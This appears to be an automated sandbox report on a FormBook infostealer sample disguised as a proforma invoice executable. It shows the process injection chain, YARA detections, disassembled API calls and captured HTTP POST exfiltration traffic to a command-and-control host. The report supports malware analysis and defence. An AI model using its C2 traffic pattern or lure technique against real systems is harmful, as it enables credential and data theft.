38 62 43 44 4f 52 63 62 76 73 55 30 4b 35 72 44 64 70 49 4a 54 33 35 64 47 78 6d 4f 2f 49 42 66 4b 45 5a 44 2f 53 6e 5a 52 61 79 53 61 45 70 77 66 76 44 44 62 57 2b 50 51 34 34 5a 72 4c 45 70 77 78 6d 39 53 31 71 61 31 57 50 75 65 38 71 7a 72 62 4d 48 62 6d 77 46 6d 47 44 66 37 73 35 2f 75 4b 62 58 68 54 5a 43 4b 46 45 2b 55 46 42 59 52 4e 71 44 4c 67 63 55 59 65 72 4f 48 2b 4c 4d 44 4b 57 74 4b 45 67 55 71 51 68 4c 31 33 48 76 36 Data Ascii: MHZDTHg=o3Ct14AhdEmX5hL26NhaZcURoDr4DLNtz+QpH1KdaaOwEr/17ihDYN8alP9UWMMPE0O5B/UJuDI8bCDORcbvsU0K5rDdpIJT35dGxmO/IBfKEZD/SnZRaySaEpwfvDDbW+PQ44ZrLEpwxm9S1qa1WPue8qzrbMHbmwFmGDf7s5/uKbXhTZCKFE+UFBYRNqDLgcUYerOH+LMDKWtKEgUqQhL13Hv6

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49303	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:21.630629063 CEST	1779	OUT	POST /cent/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.healthsolutions.top Origin: http://www.healthsolutions.top Referer: http://www.healthsolutions.top/cent/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 6f 33 43 74 31 34 41 68 64 45 6d 58 35 68 4c 32 36 4e 68 61 5a 63 55 52 6f 44 72 34 44 4c 4e 74 7a 2b 51 70 48 31 4b 64 61 62 32 77 45 65 7a 31 34 46 39 44 4b 39 38 61 76 76 39 56 57 4d 4e 4b 45 30 32 39 42 2f 51 7a 75 48 34 38 55 45 66 4f 47 2b 6a 76 6c 55 30 4b 32 4c 44 59 33 34 4a 38 33 35 4e 43 78 6d 65 2f 49 42 66 4b 45 62 62 2f 62 53 31 52 4a 69 53 5a 48 70 77 62 6c 6a 44 7a 57 2b 33 6d 34 34 64 37 4c 31 4a 77 78 43 5a 53 35 34 69 31 65 50 75 63 37 71 7a 7a 62 4d 62 59 6d 77 5a 71 47 44 71 67 73 35 33 75 4c 36 36 6e 4b 74 79 33 48 58 6d 79 50 52 34 55 62 4f 4c 6c 76 4e 41 62 64 5a 6a 39 37 70 41 53 4e 57 42 50 41 42 45 6c 4f 6d 54 6e 6d 41 71 36 51 2f 54 42 39 71 44 39 46 46 56 5a 2f 59 48 6c 45 45 54 71 53 6e 32 69 4f 30 4f 57 6a 41 6f 34 51 6f 64 5a 57 49 6d 35 74 45 4b 39 53 32 4c 52 6b 75 33 49 51 47 53 53 61 68 4d 6f 6c 59 2b 48 69 77 67 57 46 76 52 55 61 65 75 65 67 30 51 79 34 71 4f 47 2f 79 7a 31 6a 32 4c 58 46 43 63 79 6a 79 53 4e 34 35 4f 55 33 43 36 36 6b 43 [TRUNCATED] Data Ascii: MHZDTHg=o3Ct14AhdEmX5hL26NhaZcURoDr4DLNtz+QpH1Kdab2wEez14F9DK98avv9VWMNKE029B/QzuH48UEfOG+jvlU0K2LDY34J835NCxme/IBfKEbb/bS1RJiSZHpwbljDzW+3m44d7L1JwxCZS54i1ePuc7qzzbMbYmwZqGDqgs53uL66nKty3HXmyPR4UbOLlvNAbdZj97pASNWBPABElOmTnmAq6Q/TB9qD9FFVZ/YHlEETqSn2iO0OWjAo4QodZWIm5tEK9S2LRku3IQGSSahMolY+HiwgWFvRUaeueg0Qy4qOG/yz1j2LXFCcyjySN45OU3C66kCmK3eSJPIhOah5NzrsdPlVb+73ANoTnZA392T76IIC3ASv0C9LESxSsYIGhT3VHqyP0b1yo9C2jHmew/h8tSia1wKx3jvUsE/3sn6RBDAxbpsUYgYEbjhyou2w1gAZ8g193h1S9zFJX4+H00of2vo80+SmK1TVjLesK8jOaxsBP9VXYApVwsTClZz2ujQ4Fe0hMhABxjT+DzpA4BUVKyhh3C58SgbveqNL1fe/P05cprTy4+IyxS0PsVK/dYp1WeYRSjB++LGzxl571tKAxEpHrkZRPi7EaUw/Vf5S6Vh4E4LxN98m5OzJ8KMNjooRa6QDQ9kHSHnM8SfZhfKK3Rv1nfmRliS6+THryUNxmrUyYsTAFtqW1z01fT8MYFVs95oACriayRTHqEgY7FdC/y5DBcICMYNuWXWp6QD3XUtoxRy36oBctUfGN1rbkk799bstHrHPXR69CF0Hnan94p7dlAxdKG0EiFW+XsKq9IHjBqpBgNiMAjz1qLsSw7m0e+EeWOf3mUulCYvJKJ4GLUzl+eiSQMcWHdWx0jKB5j+iQNgAPJWq8UWrv+HL3JObcy7AlrSObJAdfZkJGW039oxIcXopswcVagklXC3pV8l+EMAKth8vAoiyGihp9EpETtCx14jg6QdSPPiicu0bciKQUeQuccmD07hto [TRUNCATED]

Target ID:	0
Start time:	04:41:12
Start date:	09/09/2024
Path:	C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"
Imagebase:	0x420000
File size:	1'345'024 bytes
MD5 hash:	2D7B8C66B77445F402F18AE1074EED34
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:41:13
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"
Imagebase:	0xa40000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:41:24
Start date:	09/09/2024
Path:	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe"
Imagebase:	0x440000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:41:26
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\chkntfs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\chkntfs.exe"
Imagebase:	0x5f0000
File size:	19'968 bytes
MD5 hash:	A9B42ED1B14BB22EF07CCC8228697408
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:41:39
Start date:	09/09/2024
Path:	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe"
Imagebase:	0x440000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:41:51
Start date:	09/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	1%
Signature Coverage:	5.1%
Total number of Nodes:	1798
Total number of Limit Nodes:	49

Executed Functions

Function 004242DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0042430D

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

GetCurrentProcess.KERNEL32(?,004BCB64,00000000,?,?), ref: 00424422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00424429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00424454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00424466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00424474
FreeLibrary.KERNEL32(00000000,?,?), ref: 0042447B
GetSystemInfo.KERNEL32(?,?,?), ref: 004244A0

Strings

GetNativeSystemInfo, xrefs: 00424460
kernel32.dll, xrefs: 0042444F
|O, xrefs: 004636F8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: e24390d1b9139f038ebd3ebc62e13e267241b7644c09f0df8b5d3f061b679402
Instruction ID: 3de2e28995b5ddc61e6d45c616de20de9d65b5a3f7b958fc382e97fa8e077077
Opcode Fuzzy Hash: e24390d1b9139f038ebd3ebc62e13e267241b7644c09f0df8b5d3f061b679402
Instruction Fuzzy Hash: 28A1A465A0A2E4DFE711DB6DBC815B57FE4AB76301B0848BADC4193B31D2284535CB2F

Function 004242A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,004250AA,?,?,00000000,00000000), ref: 004242B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,004250AA,?,?,00000000,00000000), ref: 004242C9
LoadResource.KERNEL32(?,00000000,?,?,004250AA,?,?,00000000,00000000,?,?,?,?,?,?,00424F20), ref: 004635BE
SizeofResource.KERNEL32(?,00000000,?,?,004250AA,?,?,00000000,00000000,?,?,?,?,?,?,00424F20), ref: 004635D3
LockResource.KERNEL32(004250AA,?,?,004250AA,?,?,00000000,00000000,?,?,?,?,?,?,00424F20,?), ref: 004635E6

Strings

SCRIPT, xrefs: 004242BF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a678ed6dff95c0d9c6eb1882b43f8f1a41d101383510d81ad79eca3237af637a
Instruction ID: 94f1c92815b075e053f9af3fd2fd472b47897e648cd82c56c948f2755e3398fd
Opcode Fuzzy Hash: a678ed6dff95c0d9c6eb1882b43f8f1a41d101383510d81ad79eca3237af637a
Instruction Fuzzy Hash: 89117C70600700FFDB258B66EC88F677BB9EBC5B91F2042AAF402D6290DB71DC008675

Function 00462BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00422B6B

Part of subcall function 00423A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,004F1418,?,00422E7F,?,?,?,00000000), ref: 00423A78

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,004E2224), ref: 00462C10
ShellExecuteW.SHELL32(00000000,?,?,004E2224), ref: 00462C17

Strings

runas, xrefs: 00462C0B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 3728936ebeaf7bd0a65822474db12144a818effff97c8dc6faaabfcb34653e20
Instruction ID: 5a3a616c1c0203c1816f2f3dfc67d2aa029dfe80ba1b08cc983a4541a8491aeb
Opcode Fuzzy Hash: 3728936ebeaf7bd0a65822474db12144a818effff97c8dc6faaabfcb34653e20
Instruction Fuzzy Hash: 1811D531304255AAC704FF22F9919BE7BA4AF90749FC4582FB142120A2CF6D9A09C71E

Function 0048DBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00465222), ref: 0048DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0048DBDD
FindFirstFileW.KERNELBASE(?,?), ref: 0048DBEE
FindClose.KERNEL32(00000000), ref: 0048DBFA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 67cbd6b170b83c1b90c900eb95f04bed05fe84a7b30a71f9032cb977c691b835
Instruction ID: 3685a062fef8758494a037bbf568e43e9f6b36108a2c53bd2ee10fbb7db7f5a5
Opcode Fuzzy Hash: 67cbd6b170b83c1b90c900eb95f04bed05fe84a7b30a71f9032cb977c691b835
Instruction Fuzzy Hash: 78F0A030C11910578224BB7CAC8D8AF376C9E01334B144B53F836C21E0EBB45D55869E

Function 0042BF40 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

p#O, xrefs: 004707CE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BuffCharUpper
String ID: p#O
API String ID: 3964851224-4084898338
Opcode ID: 404add8c7b4094f89f2bd81d6a193f51edf7f398aaf2152c2cc6db242bfa9b1a
Instruction ID: 526defda413a5ff7472ce4292be32aba57077ae369c4b3f68843b155fe95f242
Opcode Fuzzy Hash: 404add8c7b4094f89f2bd81d6a193f51edf7f398aaf2152c2cc6db242bfa9b1a
Instruction Fuzzy Hash: AEA27AB0A08311CFC710DF15D480B6AB7E1BF89304F54896EE98A8B352D779EC45CB9A

Function 0042D730 Relevance: 21.6, APIs: 14, Instructions: 627windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0042D807
timeGetTime.WINMM ref: 0042DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0042DB28
TranslateMessage.USER32(?), ref: 0042DB7B
DispatchMessageW.USER32(?), ref: 0042DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0042DB9F
Sleep.KERNEL32(0000000A), ref: 0042DBB1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 58f6713f14109805263b502bb7529ba7e8af33a3d098fa01cb27be33db606ee7
Instruction ID: adb313d1d5d3ec9aa075d6d57ca9faa16aacb8ae065fec5e999b532f12443ef1
Opcode Fuzzy Hash: 58f6713f14109805263b502bb7529ba7e8af33a3d098fa01cb27be33db606ee7
Instruction Fuzzy Hash: D342E270B04251DFD725CF25D984BAAB7A0BF45304F54862FF459873A1D7B8E884CB8A

Function 00422CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00422D07
RegisterClassExW.USER32(00000030), ref: 00422D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00422D42
InitCommonControlsEx.COMCTL32(?), ref: 00422D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00422D6F
LoadIconW.USER32(000000A9), ref: 00422D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00422D94

Strings

TaskbarCreated, xrefs: 00422D37
AutoIt v3 GUI, xrefs: 00422D23
+, xrefs: 00422CF0
0, xrefs: 00422CE9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 4bf44ac124f782a76b09704c5e6ee578f422c4fa2562c502710a5249ba1d12fd
Instruction ID: 35220f15b2e166be6623c5724dc4cf5d47c8941d8be85d7a5fae8c010f324e15
Opcode Fuzzy Hash: 4bf44ac124f782a76b09704c5e6ee578f422c4fa2562c502710a5249ba1d12fd
Instruction Fuzzy Hash: 0D21C5B5911219EFDB00DFA4E889BEDBBB4FB08700F10822AF551A62A0D7B54554CF99

Function 0046065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046039A: CreateFileW.KERNELBASE(00000000,00000000,?,00460704,?,?,00000000,?,00460704,00000000,0000000C), ref: 004603B7

GetLastError.KERNEL32 ref: 0046076F
__dosmaperr.LIBCMT ref: 00460776
GetFileType.KERNELBASE(00000000), ref: 00460782
GetLastError.KERNEL32 ref: 0046078C
__dosmaperr.LIBCMT ref: 00460795
CloseHandle.KERNEL32(00000000), ref: 004607B5
CloseHandle.KERNEL32(?), ref: 004608FF
GetLastError.KERNEL32 ref: 00460931
__dosmaperr.LIBCMT ref: 00460938

Strings

H, xrefs: 004608BD

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 67756e3346c0b4b7de37a7eb737675abfe82f2ddd8513ded979f3e44233ee05b
Instruction ID: f81433de656e6ace3026ee4638723f8c1da25f919961d63cc6131f9fa1496dcd
Opcode Fuzzy Hash: 67756e3346c0b4b7de37a7eb737675abfe82f2ddd8513ded979f3e44233ee05b
Instruction Fuzzy Hash: 6BA15B32A101048FDF19EF68D8917AF3BA0EB46324F14015EF8119B3D2E7799D16CB9A

Function 0042344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00423A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,004F1418,?,00422E7F,?,?,?,00000000), ref: 00423A78

Part of subcall function 00423357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00423379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0042356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0046318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 004631CE
RegCloseKey.ADVAPI32(?), ref: 00463210
_wcslen.LIBCMT ref: 00463277
_wcslen.LIBCMT ref: 00463286

Strings

\, xrefs: 0046328C
Software\AutoIt v3\AutoIt, xrefs: 00423560
\Include\, xrefs: 00423527
Include, xrefs: 00463184, 004631C5

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 11c0b1d94b59efd23b3a9cb9d1ab26cbad44c0648d07b5628a2ceff1d67acbb0
Instruction ID: ed7ecbb2a4865e4e0eaa313f1cc5d4003cd7be7579cfea7ba49ae1ff93982f93
Opcode Fuzzy Hash: 11c0b1d94b59efd23b3a9cb9d1ab26cbad44c0648d07b5628a2ceff1d67acbb0
Instruction Fuzzy Hash: 17717DB15043119EC314EF66ED819ABBBE8FF85744F80443FF94583160EB789A58CB6A

Function 00422B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00422B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00422B9D
LoadIconW.USER32(00000063), ref: 00422BB3
